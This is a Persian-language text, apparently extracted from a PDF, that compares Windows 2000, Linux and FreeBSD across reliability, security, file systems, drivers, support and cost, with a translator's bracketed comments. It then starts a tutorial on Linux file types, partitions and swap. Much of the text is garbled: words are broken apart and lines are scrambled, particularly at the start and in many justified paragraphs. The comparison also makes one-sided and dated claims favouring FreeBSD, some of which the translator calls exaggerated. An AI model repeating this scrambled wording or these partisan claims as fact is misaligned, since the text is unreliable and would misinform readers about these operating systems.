اید                      ن جوری ش يم، ای سه کن ستم عامل دیگر مقای ا سي قبل از بحث در باره مفاهيم کلی لينوکس گفتم شاید بد نباشه لينوکس رو با یکی دو ت
  !ينوکس قضاوت کردبهتر بشه در مورد ل

  
دوز      وکس ،وین ين لين سه ب ستم عامل   ٢٠٠٠متن زیر مقای ام    Open Source و سي ه ن اد       FreeBSD دیگری ب ه نظر مي ه ب ه البت  است ک

ه                        : آشتيانی   {!دباش BSD سرسخت   ن از طرفدارا  ه آن نویسند ه شما ب د ب ه نوشته شده و همش ميخواه اک جانب دارآن این متن وحشت ن
ه    د ک ول آن ا ٢٠٠ یک  BSDقب ه       ٣٠٠ ی يده نيست ک ان پوش ه گ ر هم دوز ، ب وکس و وین الاتر از لين ری ب ارکرد شبکه و  BSD مت  در ک

دارد و       ۴٫٢سرویس دهنده قوی تر از ویندوز است اما به نظر من ار نسخ لينوکس ایی که از هسته            شتر ن زی بي د چي تفاده ميکن الا اس  به ب
  }اما نه به این قدری که در پایين ميبينيد !! انهای بزرگ به هيچ وجه نيستم  در مکBSDدر یک سطح است اما من منکر قدرت 

  
   :FreeBSD، لينوکس و ٢٠٠٠های ويندوز  مقايسه اجمالی سيستم عامل

  
   :قابليت اطمينان

  
Windows 2000 :ند    ! تمام کاربران این نرم افزار با صفحه آبی رنگ مرگ نا می باش ستم آش ان   قا. در هنگام قفل کردن سي بليت اطمين

دوز است  ب وین رین معای ده ت دوز  . ضعيف یکی از عم رادات در وین ن ای د٢٠٠٠برخی از ای ده ان ع گردی دها  .  رف م ک زایش حج ا اف ام
ه                ٢٠٠٠ویندوز  . مشکلات بيشتری از نظر قابليت اطمينان را به وجود آورده است           ا توجه ب د و ب  از منابع سيستمی زیادی استفاده می کن

  . ریجی حافظه و خراب شدن فایل های سيستمی، استفاده از سيستم برای بيش از چند ماه کار بسيار مشکلی استمعيوب شدن تد
  

Linux :   قابليت اطمينانLinux              د ال می مانن خروجی دیسک در حالت       /اگرچه ورودی  .  مشهور است، سرور ها غالبا برای سال ها فع
روز     همگام می باشد که قابليت اطمينان کمت       پيش فرض نا   ری برای عمليات مبتنی بر تعاملات دارد و ممکن است فایل سيستم را بعد از ب

  .  یک سيستم عامل قابل اطمينان محسوب می شودLinuxاما در کل برای استفاده کنندگان . اشکال در سيستم و یا قطع برق معيوب کند
  
 

: FreeBSDد است سيار قدرتمن د (  ب ر چن ای عم ا دوره ه ال ب ای فع ا استسرور ه ن ادع ل ای اله دلي د ).  س ایلی جدی ستم ف  Softسي
Updates                     ایی رای کاربرده ان را ب  ورودی و خروجی های دیسک را برای بهترین عملکرد بهينه می کند و در عين حال قابليت اطمين

  . می باشند تضمين می کند) Transactions(از قبيل پایگاه های داده که بر اساس تعاملات 
  

   :کارایی
  

Windows 2000 : ویندوز برای نرم افزارهای متداول وDesktop     دارد .  ها مناسب است اما قابليت تحمل بارهای سنگين شبکه را ن
د          تفاده کنن ت اس رور اینترن ک س وان ی ه عن ا از آن ب د ت ی کنن لاش م ا ت ازمان ه دودی از س داد مح ال   . تع وان مث ه عن ب

Barnesandnobel.Com     که از ویندوز NT  ام           استفاده م ا پيغ وان ب د                   ی کند را می ت د می کن ا معمولا تولي ه سرور آنه های خطایی ک
ه خود          Hotmailحتی سایت    . شناخت ق ب ه متعل دوز      (Microsoft ک ده وین د کنن دتها از        ) تولي ستم       FreeBSDمی باشد م وان سي ه عن  ب

  . عامل خود استفاده نمود
  

: Linuxه نيست           بران به خوبی کار می کند ار برای بسياری از کا ار سنگين شبکه بهين ی تحت ب ن وجود قابليت اجرای ا ای قابليت  . ما ب
شابه می باشد     FreeBSD پایين تر از ظرفيت     ٢٫٣اجرایی شبکه تحت هسته لينوکس       زار م وکس      .  با سخت اف ا عرضه شدن هسته لين ب

ه است    FreeBSD که یک حافظه مجازی جدید مشابه ٢٫۴ ود یافت ا      از آنج.  می باشد، وضعيت بهب ستم ه ن سي  Openایيکه هر دوی ای
Source                   ارکرد ل ک ين دلي ه هم د ب الایی دارن ا         FreeBSD و Linux می باشند، صرفه اقتصادی ب ه سرعت در حال همگ می  شدن  ی ن ب

  . باشد
  

FreeBSD :                    الای کاربردهای شبکه می باشد ی ب رای قابليت اجرای ستم ب ه روی      FreeBSD.انتخاب برتر سي ایی ک ستم ه ایر سي  از س
ارایی دارد        شتر ک ر و بي د، بهت ی کنن ار م سانی ک زار یک خت اف ه آدرس      . س ی ب رورهای اینترنت رین س لوغ ت رین و ش ی از بزرگت یک

ftp://ftp.cdrom.com از FreeBSD  يش از ه ب انی ب دمات رس رای خ ت ١٫٢ ب ون بای دDownload تریلي ی کن تفاده م .  در روز اس
وان                      به دليل توا   FreeBSDها از    بسياری از سرور   ه عن الا ب ان و اجرای ب نایی آن در پشتيبانی از ترافيک سنگين شبکه با قابليت اطمين

OSاصلی خود استفاده می کنند  .  
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   :امنيت 
  

Microsoft Windows 2000  :  ه نمی   رکت خودشش ادعا می کند که محصولاتبيلی  ایمن است اما هيچ تضمينی در این مورد ارائ
رای    Close sourceها قابل بازنگری و بررسی توسط بقيه نمی باشد و از آنجایيکه ویندوز نرم افزار های آن. کند  می باشد هيچ راهی ب

  . کاربران به منظور تشخيص و تغيير هيچ یک از مخاطرات امنيتی که معمولا درباره سيستم های ویندوز منتشر می شوند وجود ندارد
  

Linux : طبيعتOpen sourceد،      ک  لينوکس به هر ر ده رار داده و آن را تغيي ورد بررسی ق س این اجازه رامی دهد که امنيت کد را م
ده است    م تعریف ش انی ک دت زم ه و در م ی تجرب سانی ب ه نوی وکس توسط برنام د لين اه ک ه پایگ ن است ک ت ای ا واقعي يچ سياست . ام ه

سئله   .  قرار داردUnix برای CERTيشنهادات بازنگری رسمی برای کد وجود ندارد و به همين علت لينوکس هر سال در ليست پ    ن م ای
د             Redhatبا این واقعيت همراه است که شرکت هایی چون           رایش دارن ند، گ ن وجود    .  به ارایه خدماتی که به ناامنی مشهور می باش ا ای ب

  . لينوکس نيز از سيستم دیوار آتش قدرتمند و ابزارهای تشخيص نفوذ فراوانی پشتيبانی می کند
  

: FreeBSDتمامی اجزای سيستم مورد چک و بازبينی مجدد قرار گرفته اند تا اشکالات  .  برای چندین سال تحت تست مداوم بوده است
ن  Open sourceاز آنجایيکه کل سيستم . مرتبط با امنيت کشف شوند  می باشد، امنيت سيستم توسط دیگران قابل بررسی بوده است و ای

ام ش          ه   . ده است  بررسی نيز به طور کامل انج ی    FreeBSDنصب اولي شنهاد امنيت وز از پي د   ٢٠٠٠ در سال  CERT هن .  تبعيت می کن
FreeBSD    همچنين سطوح امنيتی را در سطح هسته )Kernel (       اده سازی ر از پي د ت سيار قدرتمن ه ب سيستم عامل پياده سازی می کند ک

ی          FreeBSD. در سطح اجرا می باشد     وار امنيت ستم دی رای جستجوی          ) Firewall( شامل یک سي ددی ب د و ابزارهای متع سيار قدرتمن ب
ه    BSDمن با این گفته ها موافقم اما فکر ميکنم خيلی ، خيلی در باره   : آشتيانی   { ها می باشد   نفوذ ه ن ی عالي  اغراق شده ، درسته که خيل

  . }اینجوری که ان ميگه 
  

   :سيستم فایلی
  

Windows 2000 : فایل سيستمFAT و NTFS به  متعلقMicrosoftستم     ١۵دو برای بيش از   هر ا سي  سال به دليل عدم سازگاری ب
د        PC-Basedهای فایلی    وده ان اد و کاربردهای مخرب سرورهای                  .  قدیمی تر دچار مشکل ب اگ های زی رای ب ایلی ب ستم های ف ن سي ای

  .ه ای نداشتندحتی اعتقادی به طراحی شدن با سيستم عامل چند کاربره و یا شبک امروزی طراحی نشده و
  

Linux :        ه                     ، سيستم فایلی که در لينوکس به کار می رود د ک ام می ده اک انج کار خود را با یک روش الحاق سازی غير همزمان خطرن
ه در     )crash(غالبا یک خرابی بزرگ در سيستم    د در حالی ک ا  Solaris، سيستم را به طور دائمی تخریب می کن  اشکال  FreeBSD ی

ابی می باشد                با ميزان کمی ا    ل بازی ستم قاب وکس               .ز دست دادن اطلاعات تصحيح شده و سي رای لين ستم ب ل سي د فای سخه جدی دین ن ه چن البت
  )Ext3مانند ( .وجود دارد که قسمت های زیادی از این اشکالات را حل کرده اند

  
: FreeBSD از سيستم فایلی یونيکس )UFS (      ستم ر از سي ده ت دکی پيچي ه ان د ک ایلی  استفاده می کن وکس می باشد   Ext2 ف ل   .  لين ن فای ای

د             Sofupdateبا گزینه   ) UFS(سيستم   ه می ده ایلی ارای ستم ف ودن و اطلاعات سي ه   . ، راهی بهتر برای اطمينان از بی نقص ب ن گزین ای
د  خروجی غير/خروجی همزمان را کاهش و ورودی     /ورودی رروی یک      . همزمان را افزایش می ده رات ب ه تغيي سته  UFSچرا ک ه   ب ب

ایلی در      . هماهنگ می شود) بخش گرا (Sector basisساختار سيستم فایلی و نه به صورت  ستم ف شگی سي اهنگی همي این موضوع، هم
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فایلی که باعث محدودیت متجاوزان  ) Flags( همچنين نشانه های FreeBSDسيستم فایلی . فاصله دو به روز رسانی را تضمين می کند        
ه         . ها می شود را پشتيبانی می کند       در تراکنش ...) ناخواسته یا   ها یا کاربران     رنفوذگشامل  ( د ک ا وجود دارن شانه ه ن ن تعداد زیادی از ای

ود ل اضافه نم ه یک فای ا را ب وان آنه شانه .می ت ال ن وان مث ه عن ل  "ب ر قاب رغي ا  "تغيي ل ی ا حذفی در فای ر ی ازه تغيي ه اج يچ گون ه ه  ک
د از     نشانه های    .دایرکتوری را اجازه نمی دهد     داول دیگر عبارتن ی   "مت ط افزودن ل حذف    "، " فق ر قاب ن    .  " آرشيو  "و "  غي ق ای ا تلفي ب

د         ) Kernel(امکانات با سطوح امنيتی سطح هسته    ه دست می آی وذ ب ل نف ر قاب ستم غي تيانی   { .یک سي اً  : آش ا واقع اره   اینج  اجحاف درب
Linux شده همه اینه که گفته شد و مقداری هم بيشتر در Linux هست {  

  
  

  
  

   :گردانندگان دستگاه جانبی
  

Windows 2000  :  سخه های مختلف      .ارتباط بسيار خوبی با توليد کنندگان درایور داردبيلی ين ن ور ب غالبا هنگام استفاده از یک درای
  . دستگاه ها دارند دسترسی بسيار عالی و سریع به درایور های Windowsویندوز مشکلاتی پيش می آید اما به طور کلی کاربران 

  
Linux :    ور های د درای ر       Open sourceجامعه لينوکس عمدا برای تشویق توليد کنندگان به تولي دا را ب اینری ج ور های ب شار درای  انت

د  Open sourceمتاسفانه اکثر تهيه کنندگان علاقه ای به انتشار درایور خود به صورت  .روی این سيستم عامل مشکل می کند  را ندارن
  . های عرضه شده توسط تهيه کننده بسيار مشکل است  به همين خاطر برای کاربران لينوکس هرگونه استفاده از درایورو
  

FreeBSD :راه انداز ( Boot loader ) FreeBSD ه دیگر    . های باینری را در زمان راه اندازی بالا بياورد درایور ، می تواند ن ب ای
د، را می   FreeBSDگذاری روی سيستم شامل      های درایور باینری جدا که قابليت بار        ماژول توليدکنندگان درایور اجازه توزیع     را دارن

سيار آسان است             FreeBSDبراساس طبيعت متن باز     . دهد د ب زار جدی رای سخت اف ط     .  ، ارتقاء درایور دستگاه ب دگان فق د کنن ر تولي اکث
د   فایل های باینری سازگار با سيستم عامل ویندوز را منتشر          ا              .  می کنن ازار می رسد ت ه ب ه از زمانيکه دستگاه ب ی است ک دان معن ن ب ای

  .  در دسترس خواهد بود، ممکن است چند ماه طول بکشدFreeBSDزمانی که درایور آن روی
  

   :نرم افزار های تجاری
  

Windows 2000 :        شتری در سيار بي اربردی ب ه های ک ا برنام ستم عامله امی   .  دسترس است  برای ویندوز نسبت به دیگر سي ا تم تقریب
دوز اجرا می شوند               Desktopبرنامه های کامپيوترهای     ط روی وین دوز و فق ا روی            .  روی وین ه تنه د ک م داری ه مه اگر شما یک برنام

  . ویندوز اجرا می شود، هيچ راهی جز استفاده از ویندوز ندارید
  

Linux :                ه در وکس موجود است ک ادی روی لين ز هست          نرم افزارهای تجاری زی ادتر شدن ني ای        .  حال زی ا فایله وکس تنه فانه لين متاس
دارد                                 ا را ن ستم عامله ه های دیگر سي ایی اجرای برنام ند و توان ه مخصوص خودش ساخته شده باش د ک د اجرا کن  { باینری را می توان

  . } دیگه دارم قاطی ميکنم شما ميتوانيد همه برنامه ها را در این جا اجرا کنيد : آشتيانی 
  

FreeBSD :      تعداد نرم افزارهای تجاری رویFreeBSD            زی است ر از آن چي ایين ت سيار پ وز ب  به سرعت روبه گسترش است،اما هن
وکس،              FreeBSDعلاوه بر نرم افزارهای موجود،      . که در مورد ویندوز شاهد آن هستيم       رم افزارهای موجود روی لين  قابليت اجرای ن

SCOUnix و BSD/OSرا نيز دارد  .  
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   : افزار های رایگاننرم

  
Windows 2000 : ميزان نرم افزارهای رایگان ویندوز بسيار کمتر از آن چيزی است که برایUnixه های    .  داریم سياری از برنام ب

ل   ) shareware(کاربردی ویندوز به عنوان نرم افزار اشتراکی    اربران قاب بدون کد اصلی برنامه وجود دارند که به هيچ عنوان توسط ک
  . ، بهبود، توسعه و اصلاح نيستند) Customize(صی کردنشخ

  
Linux :             رم افزارهای       . تعداد بسيار زیادی از برنامه های رایگان برای لينوکس در دسترس می باشد امی ن  FreeBSD روی   GNUتم

ل اجراستLinuxو  ش .  قاب ای م ه ه ه نمون سبت ب ی ن ا تغييرات وع آنه ه ن سته ب ان ب ای رایگ ه ه وکس برخی از برنام د چون لين ابه دارن
  . استاندارد مشخص پخش نرم افزاری ندارد

  
FreeBSD :   بسيار زیادی برای     ،نرم افزارهای رایگان بسيار FreeBSD      در دسترس می باشد  .FreeBSD     رم سته ن  شامل هزاران ب

ه           د اصلی برنام ا ک راه ب ا هم امی آنه ه تم ند     ) Source code(افزاری و مجموعه پخش شده وسيعی می باشد ک ه طور کامل می باش .  ب
  . ترین کتابخانه قابل استفاده برای بسته های نرم افزاری رایگان می دانند  را در دسترس ترین و آسانFreeBSDبسياری از مردم 

  

  
  

   :محيط توليد برنامه
  

Windows 2000: Windows     د آن سيار قدرتمن زار ب ه      ابزارهای توسعه کمی داشته و بسياری از مجموعه اب ه صورت جداگان د ب بای
زار             . خریداری شود و به ندرت قابل سازگاری با دیگر ابزارها می باشند            با این وجود اکثر توليدکنندگان محيط های توسعه و توليد نرم اف

  . محصولات خود را برای ویندوز به طور جداگانه و کامل عرضه می کنند
  

Linux :     لينوکس تمامی ابزارهای توليدFreeBSD   سير    را ه های              به همراه تف امی برنام داولی و تم سی مت ه نوی ان برنام ا زب دگان ه کنن
GNU    از قبيل C/C ++  قدرتمندGNU   ویرایشگر ،Emacs    و دیباگر GDB    متاسفانه به علت طبيعت بسيار خرد شده .  در بر می گيرد

)Splinted (   ستم ه روی یک سي ایی ک ه ه وکس، برنام ثلا (لين ازید ا) Redhat 7.2م ی س ری از  م ستم دیگ ارکردن روی سي ان ک مک
  . را ندارند) Slack wareمثلا (لينوکس 

  
: FreeBSDسيستم توسعه کاملی از .  مجموعه بزرگی از ابزارهای توليد و توسعه برنامه را در بر داردC/C) ++ شامل ویرایشگر، و

ه   ...) و Java  ،HTTP  ،Perl  ،Python  ،Tel/TK  ،Awk  ،Sedابزارهای توسعه یونيکس برای    را به طور رایگان دریافت می کنيد ک
  .های امنيتی می باشند  نصب می شوند و تمامی اینها شامل کدFreeBSDبراساس 

  
  

  زیر ساخت محيط توليد نرم افزار
  

Windows 2000 :      ستم عامل دوز یک سي زار وین سئله            Close sourceنرم اف ا راه حل یک م وده ت ازار ب از ب ه ني ه پاسخی ب  است ک
تکنولوژیهای جدید در مقياس زیاد به درون این سيستم عامل ریخته می شوند بدون اینکه طراحی آنها مناسب یا حتی کامل شده       . کیتکني
  . که پيام خودش را می دهد! درباره زیرساخت توسعه نرم افزار چيز زیادی در دست نيست جز همان صفحه آبی رنگ مرگ. باشند
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Linux :    لينوکس یک هسته)Kernel (       شبيه یونيکس است که باید باGNU        سازد ستم عامل کامل را ب ا یک سي وکس  .  ترکيب شود ت لين
ا                  د از    ) Bug-Fixes(هيچ سيستم کنترل نسخه ای را مورد استفاده قرار نمی دهد و به همين خاطر تمامی تصحيح خطاه ا بای و توسعه ه

ام                       طریق پست الکترونيکی و تماس با ليست پستی و در پایان با ار             ه اصلی می باشد، انج ه برنام د ب ه ک ه ارائ ه مجاز ب ردی ک ه ف سال ب
به همين دليل کد . بر اساس ميزان زیادی کدی که نوشته می شود، امکان کنترل کيفيت تغييرات مربوط برای یک نفر وجود ندارد                 . پذیرد

  . يستم عملياتی امن تر قابل قبول نمی باشدبسيار زیادی برای لينوکس وجود دارد که با عجله نوشته شده و هيچ وقت برای یک س
  

: FreeBSDکد منبع کل سيستم در یک پایگاه داده که تحت .  یک سيستم عامل پيشرفته بر اساس یونيکس می باشدCVS اجرا می شود 
زرگ               . در دسترس می باشد     روه ب اه توسط یک گ ن پایگ ه ای ر  ٢٠٠(دسترسی ب ره و ارشد نوشته     )  نف سان خب ه نوی رای   از برنام  شد و ب

د ازبينی گردی اهنگی عرضه و پخش ب افتن جوابFreeBSD. هم رای ی شتر ب رای    بي ا ب ده ت ی طراحی گردی داف کل الی در اه ای ع ه
  . تغييرات سریع به منظور اضافه کردن عملکردی جدید

  
   :پشتيبانی

  
Windows 2000 : اگرچه پشتيبانی برایwindows 2000  را د در        وجود دارد، اما باید خود را ب اده کني ی یک انتظار یک ساعته آم

دارد و                 . حاليکه تضمينی برای یافتن پاسخ وجود ندارد       به علت طبيعت کد بسته ویندوز هيچ پشتيبانی رایگان غير رسمی برای آن وجود ن
اگ زی  ب ه ری دی و برنام ق زمانبن ا طب ما Microsoftه دی ش ق زمانبن ه طب ود ن صحيح می ش دوز .  ت ه وین ه طور ٢٠٠٠از آنجایيک  ب

  . تان منتظر بمانيد خودرسانی نمی شود، شما ممکن است سالها برای تصحيح باگ های متناوب به روز
  

Linux :                      د ه می دهن وکس ارائ رای لين ه ای ب شتيبانی های حرف ا، پ ده         . بسياری از سازمان ه دگان عم امين کنن امی ت ه     Linuxتم سته ب  ب
د     گستردگی کاری، سطحی از پشتيبانی را ارائه می    ه می دهن سياری از محل های     . دهند و بعضی خدمات را به طور کامل ارای داد ب تع

ری و آدرس  . بحث و گفتگو برای لينوکس وجود دارند که سوالات شما را مجانی پاسخ می دهند              ای خب ز      از گروهه ادی ني ستی زی های پ
  .  استفاده کنيد های خودتانبه عنوان آخرین پایگاه برای بر طرف کردن مشکل

  
FreeBSD :     موسسات متعددی از جملهBSDi پشتيبانی های گسترده ای از FreeBSD د ه ای،     .  ارائه می دهن شتيبانی حرف ر پ علاوه ب

ری          ای خب ق گروهه می از طری ر رس ای غي شتيبانی ه ادی از پ سيار زی زان ب د     و آدرسUsenetمي ستی مانن ای پ ه
Question@FreeBsd.org    دا می                   وقتی یک   .  قابل دسترسی می باشد د ساعت پي ق آن ظرف چن مشکل پيدا می شود معمولا پاسخ دقي

  . شود
  
  

  
  

   :هزینه ها و قيمت های مالکيت
  

Windows 2000 : د  .  دلار می باشد٧٠٠ تقریبا ٢٠٠٠قيمت نسخه سرور ویندوز . برنامه های جانبی هزینه ای جداگانه و اضافه دارن
ند     FreeBSDی می پردازند که برروی لينوکس و       کاربران معمولا هزاران دلار برای برنامه های       .  به طور رایگان در دسترس می باش

امپيوتر در شبکه مجوز     . در دسترس می باشد ) Online(مستند سازی گران بوده و مستندات بسيار کمی به صورت جاری     رای هر ک  ب
ه های اضافه                         اخير در گسترش شبکه و صرف هزین ای ت ه معن رای کارهای      . است ی جداگانه لازم است که ب دایی آموزش ب ه ابت هزین

  .همچنين به کار بيشتری برای ادامه کارآیی سيستم با هر ميزان بار کاری نياز دارد.  کمتر استUnixمقدماتی سازمانی نسبت 
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Linux :                             ر روی آ ایينی ب سيار پ ه ب زاری تجاری خود را هزین رم اف سته های ن ه می     لينوکس رایگان بوده و بسياری از شرکتها ب ن ارائ
دارد،           . برنامه ها و مستندات آنها با هزینه ای کم و یا رایگان در دسترس می باشد               . دهند ه وجود ن هيچ گونه محدودیتی از نظر اجازه نام

ردد                      ه اضافی نصب گ ه هزین دون هرگون د ب ه شما می خواهي ستمی ک داد سي د روی هر تع ه کل مالکيت    . بنابراین لينوکس می توان هزین
  . يار اندک استلينوکس بس

  
: FreeBSD را می توان به صورت مجانی از Internetچهار گرفت یا می توان آن را به صورت یک مجموعه  CD به همراه چندین 

ه ازای     اربردی ب زار ک رم اف ت ن ا بای رد      ۴٠گيگ ی گي ر م ز در ب روری را ني ناد ض امی اس ه تم ود ک داری نم شتيبانی از .  دلار خری پ
FreeBSD   اربران لازم         . انی و یا با قيمت بسيار اندک در دست می باشد            به صورت مج رای ک ه و شماره سریالی ب ه گواهينام هيچ گون

د  انيست به همين خاطر می توانيد به سرعت کامپيوتر های اضافه ای را به شبکه بی   رم         . فزای ایين مالکيت ن سيار پ ه ب ا هزین ه ب ا هم اینه
  .افزار در دسترس می باشد
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  ساختار فایل-ششم
  

   » در باره لينوکس استPDFترجمه بخشی از یک  متن زیر« 
  

سمت      .برخی مطالب در قسمت های قبل تکرار شده اند اما در اینجا مطالب با جزئيات بيشتر و دقيق تر آورده شده است           ن ق ی ای بحث کل
  . اميد است که مفيد واقع گردد. نها در لينوکس استآم ینده حول مفهوم فایل ها و سيستآو قسمت های 

  
ره سازی          گاهی در مور  آبسياری از کاربران به علت عدم        وکس دچار مشکل می شون            آد نوع اطلاعات و محل ذخي ا در لين ا سعی    .دنه م

ا را    همچنين مهمت . ماندهی فایل ها را در سيستم فایلی این سيستم عامل روشن کنيم           خواهيم کرد که شيوه ساز     وری ه ا و دایرکت رین فایل ه
ا را شرح                               وری ه ا و دایرکت ل ه اک کردن فای اد، جابجایی و پ ا ،چگونگی ایج ل ه وای فای شاهده محت اوت م ذکر کرده و روش های متف

  .خواهيم داد
  

  مروری کلی بر سيستم فایل در لينوکس
  

   :فايلها
  

ل است و       : "می رود عبارت است ازیک توصيف ساده از سيستم یونيکس که برای لينوکس نيز به کار             ز فای ه چي ونيکس هم ستم ی در سي
  " اگر فایل نباشد یک فرایند خواهد بود

  
ل محسوب نمی شوند                ا فای ه تنه ل خاص وجود دارد ک ال   (عبارت فوق صحيح است زیرا تعدادی فای رای مث ا  pipesب ا   ) sockets ی ام

ل              سيستم  .برای سادگی گفته می شود که همه چيز فایل است          وری قائ ل و دایرکت ين فای اوتی ب ونيکس، هيچ تف د ی لينوکس نيز درست همانن
ا                   ل ه ایر فای ه شامل اسامی س ل است ک ل          .ست  انمی شود، زیرا دایرکتوری همان فای ا همگی فای ا، عکس ه تن ه ا، خدمات، م ه ه برنام

  .فایل در نظر گرفته می شونددستگاه های ورودی و خروجی و سایر دستگاه های دیگر نيز با توجه به سيستم، .هستند
  

ه                     ه ب يم ک يم           آبرای مدیریت تمام این فایل ها به شيوه ای منظم، ترجيح می ده اه کن ی مرتب نگ د درخت ا همانن د        .( نه ال همانن وان مث ه عن ب
ل  و شاخه های انتهایی شامل برگ های درخت یا شاخه های بزرگتر شاخه های بيشتری دارند ) MS DOSساختار هارد دیسک در   فای

  .ینده خواهيم دید که این تصویر کاملا صحيح نمی باشدآختی استفاده خواهيم کرد، اما در از حالا از این تصویر در.های معمولی هستند
  

  
  
  

  مرتب سازی فایل ها
  

د  این فایل ها شامل داده ه.گفته می شود) Regular files(نها فایل های عادیآاغلب فایل ها تنها فایل هستند که به  ای معمولی هستند مانن
ه طور معمول فرض می شود            ....فایل های متنی، فایل ها یا برنامه های اجرایی، ورودی یا خروجی برنامه ها و                 وکس ب در سيستم لين
  .که با هر چه که مواجه می شوید فایل است اما موارد استثنایی نيز وجود دارد
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  .فایل ها و ليست سایر فایل ها: ها دایرکتوری
  

اره    ینده در آدر  . قرار دارند  dev/اکثر فایل های خاص در      .مکانيزمی که برای ورودی و خروجی به کار می رود         : فایل های خاص   این ب
  .بيشتر بحث خواهيم کرد

  
شاهده باشد                                 : پيوندها ل م ستم قاب ل سي سمت از درخت فای دین ق وری در چن ا دایرکت ل ی ه سبب می شود فای ستمی است ک اره   .سي ن ب در ای

  .ئيات بيشتر را خواهيم گفتجز
  
بيه              :sockets) دامنه( ه ش ل،             TCP/IP های    socketیکی از انواع فایل های خاص ک ستم فای ه سي رل دسترسی ب يله کنت ه وس  است و ب

  . امنيت فرایند های داخلی شبکه را تامين می کند
  

Named pipes  : کمابيش عملکردی شبيهsocketای       ها دارد و راهی برای ارتباط فر تفاده از معن دون اس ا یکدیگر ب  socketایند ها ب
  .شبکه را شکل می دهد

  
  نماد مفهوم 

   فایل عادی -
d دایرکتوری   
L پيوند   
c فایل های خاص   

s socket   
p Named paipe  

  
ه دن         ا ب ستم ه سوند    برای اینکه هميشه مجبور نباشيم برای یافتن نوع فایل در یک ليست طولانی جستجو کنيم، بيشتر سي ل، پ ام فای ال ن ی  ب

  . اضافه می کنند که نشاندهنده نوع فایل می باشد” |@/=*“کتر های ارا شامل یکی از کار
د داشت              ار خواهي دها سر و ک ا و پيون وری ه ل های خاص    .شما به عنوان یک کاربر تنها با فایل های ساده، فایل های اجرایی،دایرکت فای

  .نها سر و کار خواهند داشتآو تنها مدیران سيستم و برنامه نویسان با برای ایجاد سيستم به نوع دلخواه است 
  

  .ندازیم بد نيست کمی بيشتر در مورد پارتيشن ها بدانيم احال قبل از اینکه به فایل ها و دایرکتوری های مهم نگاهی بی
  

  
  
  

  در باره پارتيشن بندی
  

اک کردن             اغلب مردم دانش مبهمی راجع به پارتيشن ه        ؟ چرا پارتيشن  ا پ ا را  آا دارند، زیرا تمامی سيستم های عامل توانایی ایجاد و ی نه
  .دارند
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شن روی یک                        يش از یک پارتي ه ب از ب د، ني به نظر عجيب می رسد که لينوکس حتی زمانی که از مراحل نصب استاندارد استفاده می کن
الاتر در    هدف داشتن پارت .و این نياز به شرح و تفصيل بيشتر دارد   . دیسک دارد  ه امنيت داده ای ب يشن های مختلف در واقع دست یابی ب

ند                   .هنگام بروز حادثه است    ه باش دی شده و جداگان ه صورت گروهبن د ب ا می توانن شن داده ه دین پارتي  .با تقسيم کردن هارد دیسک به چن
د              زمانی که حادثه ای در پارتيشن      ا         ی رخ دهد، تنها داده های همان پارتيشن اسيب می بينن شن ه ا در دیگر پارتي ایر داده ه در حاليکه س

  .سيبی نمی بينندآ
  

ه کل                             ی نيست ک ن معن ه ای ستم ب وذ در بخشی از سي راین نف ا ب به دلایل امنيتی و قدرت عمل سيستم، از پارتيشن ها استفاده می شود،و بن
ا امنيت داده         به خاطر    .و این مهمترین دليل استفاده از پارتيشن بندی است         کامپيوتر در خطر است    ایلی تنه ستم ف ين سي ه چن داشته باشيد ک

ا قطع  روز اشکال و ی ام ب ا را در هنگ د ه امين می کن انی ابزارهای حافظه ت ا .ناگه اختار نادرست و ی ل س ما را در مقاب و داده های ش
د        ل حفاظت نمی کن ستم فای ه از راه حل های       .اشکالات منطقی در سي ع لازم است ک ن مواق  RAID Array Of Inexpensiveدر ای

Disks) (Redundantاستفاده کنيد .  
  

  بندی پارتيشن  طرح انواع و
  

  :پارتيشن عمده در سيستم لينوکس وجود دارددو 
  

  .که حاوی کليه داده ها برای شروع و اجرای سيستم است) root(داده های نرمال سيستم لينوکس، شامل پارتيشن ریشه: پارتيشن داده
  

  )حافظه مجازی.(عه حافظه فيزیکی کامپيوتر ، حافظه یدکی روی هارد دیسکتوس :swapپارتيشن 
ی       . می باشندswap یا چند پارتيشن داده و یک یا چند پارتيشن    یک ، اغلب سيستم ها شامل پارتيشن ریشه      ستم های محيط های ترکيب سي

رای داده  VFAT یاFATی با سيستم فایل   پارتيشنممکن است حاوی پارتيشن هایی برای سایر داده های سيستم باشند، به عنوان مثال      ب
MS Windows.   

  
د fdiskاکثر سيستم های لينوکس هنگام نصب برای تنظيم نوع پارتيشن از        ام         .  استفاده می کنن ار انج ه صورت خودک ار ب ن ک معمولا ای

ين   در این موارد شما نياز .گرچه بعضی اوقات ممکن است این قدر خوش شانس نباشيد     .می شود  ا را تعي دارید که خودتان نوع پارتيشن ه
  . در این مورد به شما کمک خواهد کردfdiskابزار .کنيد و حتی عمل پارتيشن بندی را نيز خودتان انجام دهيد

  
د         د  .جدا از این ها، لينوکس از انواع مختلفی از سيستم های فایلی دیگر نيز حمایت می کن ست  JFS،NFS،fatXXهمانن سياری از سي م  و ب

شه   .های فایلی که در دیگر سيستم عامل ها در به کار می روند            تاندارد ری ا یک    (پارتيشن اس ه ب شان داده می شود    }/ {سلش اک )  مجزا ن
ه های سرویس                    ۵٠٠ تا   ١٠٠ حدوداً رین دستورات و برنام ستم، اصلی ت دی سي  مگا بایت فضا اشغال می کند و شامل فایل های پيکر بن

دیر   یا کاربر اصلی) home(ستم، برخی فضاهای موقتی و دایرکتوری خانه ی دهنده، کتابخانه های سي    ان م می  ) administrative( هم
  . مگا بایت فضا برای پارتيشن ریشه است٢۵٠ حدوداًیک نصب استاندارد نيازمند .باشد
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ا      swapفضای   ان است   تنها برای خود سيستم قابل دسترس است، و در حين عمليات عادی سيستم از دید م ه    swap. پنه ستمی است ک  سي
د                          ه دهي ار خود ادام ه ک د ب د شما می تواني ه بيفت اقی ک ن     .همانند سيستم های نرمال یونيکس به شما اطمينان می دهد که هر اتف ه علت ای ب
ا را            دا برخی از کاره ا ابت يش از حد مجاز و ی ل حافظه ب رده و   فضای کمکی شما هيچ گاه در لينوکس با پيغام های خطایی مث متوقف ک

ای               Swap. يد، مواجه نخواهيد شد  نمجدد امتحان ک   ستم های عامل خارج از دني ول سي ورد قب ه م ادی است ک ا حافظه مجازی مدت زی  ی
  .یونيکس واقع شده است

  
ين                               ا داشتن چن امپيوتر است ام  حافظه ای  به طور طبيعی استفاده از حافظه روی هارد کند تر از استفاده از تراشه های واقعی حافظه ک

دازه     .بسيار راحت است   د       ٢ را swapلينوکس معمولا ان دار حافظه فيزیکی حساب می کن ر مق ه       . براب د ک د بداني ستم بای ام نصب سي هنگ
